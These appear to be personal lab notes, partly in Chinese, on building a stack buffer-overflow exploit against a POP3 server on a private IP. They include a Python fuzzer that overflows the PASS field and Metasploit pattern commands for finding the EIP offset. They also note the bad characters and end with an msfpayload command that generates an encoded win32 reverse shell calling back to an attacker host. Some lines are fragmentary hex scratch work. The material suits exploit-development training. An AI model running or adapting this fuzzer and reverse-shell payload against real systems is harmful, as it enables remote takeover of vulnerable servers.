nc 192.168.20.218 25
nc 192.168.20.218 110
telnet 192.168.20.218 110
root@kali:/home/lgb/overflow# cat overflow.py
#!/usr/bin/python
import socket
buffer = [“A”]
counter = 300
while len(buffer) <= 20:
buffer.append(“A” * counter)
counter += 300
for string in buffer:
print “FUZZING PASS WITH %s BYTES” % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((‘192.168.20.218’, 110))
s.recv(1024)
s.send(‘USER test’ + ‘\r\n’)
s.recv(1024)
s.send('PASS ’ + string + ‘\r\n’)
s.send(‘QUIT\r\n’)
s.close()
执行:./overflow2.py,程序没有溢出
执行:./overflow2.py,程序溢出
288 cd /usr/share/metasploit-framework/
1289 ls
1290 cd tools/
1291 ls
1292 cd exploit/
1293 ls
1294 ./pattern_create.rb -l 2700
1295 ls
1296 ./pattern_offset.rb -q 39694438
1297 pwd
016BA1AC
016BA154
020DA301
020DA154
16-4=12+1=13
A=10,B=11,C=12,D=13
15-5=10 A
1
1AD=429
161613
注释:ESP寄存器指向的存储空间中不能出现字符00、0a、0d
重定向数据流即修改EIP寄存器的值为ESP寄存器的值
设置跳转断点
运行下面的程序
按F7单步执行:
1298 cd /usr/share/framework2/
1299 ls
1300 ./msfpayload win32_reverse LHOST=192.168.20.228 LPORT=4444 R |./msfencode -b “\x00\x0a\x0d”